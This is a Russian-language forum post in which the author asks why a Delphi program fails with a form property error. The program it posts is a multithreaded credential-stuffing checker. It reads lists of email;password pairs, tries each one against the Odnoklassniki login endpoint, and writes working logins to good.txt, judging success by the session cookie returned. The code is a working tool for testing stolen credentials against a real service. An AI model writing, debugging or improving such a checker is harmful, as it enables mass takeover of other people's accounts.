Ну короче выдает ошибку:
Error creating form: Error Reading Edit1: Property alignment does not exist
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(Edit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(Edit1.Text);
end;
procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
data:=Tstringlist.create;
data.Add('st.posted=set');
data.Add('st.email='+FAcc);
data.Add('st.password='+FPas);
data.Add('st.fJS=enabled');
data.Add('st.screenSize=1366 x 768');
data.Add('st.flashVer=10.1.82');
data.Add('button_go=Âîéòè');
HTTP:=TIdHTTP.create;
HTTP.HandleRedirects:=false;
try
HTTP.Post('http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin', data);
Rez:=-1;
except
if Pos('Set-Cookie: JSESSIONID=', HTTP.Response.RawHeaders.Text)<>0 then
Rez:=1
else
Rez:=0;
end;
HTTP.Free;
data.Free;
Synchronize(Sync);
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('OK');
end;
procedure TNewThread.Sync;
begin
case Rez of
0:begin
Accounts.Add(FAcc+';'+FPas);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
-1:begin
Append(BadFile);
Writeln(BadFile,FAcc+';'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
CS:=TcriticalSection.create;
end;
end.
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).